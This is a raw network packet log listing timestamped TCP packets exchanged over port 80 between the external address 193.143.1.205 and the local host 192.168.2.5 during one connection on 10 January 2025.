Jan 10, 2025 20:29:26.256023884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.256035089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.256042004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.256074905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.256138086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.259339094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259356022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259366035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259377003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259387016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259397030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259407043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259408951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.259417057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259428024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.259433031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.259443045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.259459972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.286334038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.286351919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.286456108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.320019960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320048094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320059061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320070028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320080996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320091963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320102930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320112944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320122957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320135117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320137978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.320180893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.320271969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320282936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320292950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320302963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320398092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320482016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320492029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320502043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320512056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.320571899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.350586891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350605965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350624084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350634098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350645065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350656986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350667000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350678921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350703955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.350739956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.350742102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350760937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350771904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350774050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.350781918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350791931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350801945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350804090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.350814104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350827932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.350850105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.350971937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350981951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.350991964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351007938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351011992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351018906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351030111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351042032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351061106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351195097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351238966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351274967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351334095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351345062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351355076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351365089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351376057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351391077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351542950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351552963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351563931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351572990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351574898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351588964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351592064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351598978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351609945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351622105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351634026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351675034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351685047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351695061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351705074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351716042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351722956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.351726055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.351759911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352138042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352148056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352158070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352168083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352179050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352211952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352221966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352226019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352231979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352241039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352252007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352253914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352292061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352385044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352395058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352406025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352416039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352426052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352427959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352437973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352448940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352452993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352463007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352473021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352480888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352484941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.352498055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.352514029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.355876923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355891943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355901957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355911970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355921984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355942011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355957031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.355958939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355969906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355979919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.355983019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.355989933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356000900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356003046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356009960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356019020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356021881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356031895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356036901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356043100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356074095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356146097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356156111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356165886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356173038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356177092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356200933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356302023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356329918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356455088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356468916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356478930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356488943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356499910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356501102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356509924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356519938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356522083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356529951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356539965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356542110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356550932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.356564045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.356581926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.370708942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.376867056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376879930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376895905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376905918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376916885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376926899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376936913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376938105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.376948118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376956940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.376981974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.376997948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.379345894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.410876989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410908937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410921097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410931110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410942078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410952091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410964012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410983086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.410994053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411003113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411014080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411025047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411034107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411046028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411056042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411066055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411072969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411083937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411093950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411103010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411113977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411123991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.411158085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.411158085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.411158085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.411159039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.411159039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.411206007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441572905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441590071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441602945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441616058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441696882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441713095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441730976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441741943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441752911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441757917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441762924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441773891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441785097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441795111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441803932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441807985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441814899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441823959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441828012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441842079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441844940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441852093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441863060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441873074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441879034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441884041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441894054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441898108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441905022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441915035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441920042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441925049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441936016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441940069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441946983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441967010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.441977024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441988945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.441992998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442022085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442023039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442202091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442218065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442229033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442234039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442240000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442250967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442260981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442265034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442270994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442281961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442291975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442293882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442305088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442315102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442326069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442328930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442328930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442342043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442349911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442358971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442370892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442382097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442392111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442393064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442409039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442420006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442420959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442431927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442441940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442442894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442452908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442459106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442462921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442472935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442475080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442485094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442497969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442529917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442703962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442719936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442730904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442740917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442753077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442759037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442770958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442770958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442781925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442791939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442801952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442804098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442811966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442822933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442832947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442837954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442842960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442853928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442864895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442868948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442874908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.442888021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.442905903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.443084955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443095922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443105936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443115950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443125963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443135977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443140030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.443145990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443156958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443166971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.443166971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.443183899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.467731953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.467750072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.467761040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.467771053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.467782974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.467812061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.467861891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.471409082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.471426010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.471436977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.471447945 CET	80	49704	193.143.1.205	192.168.2.5
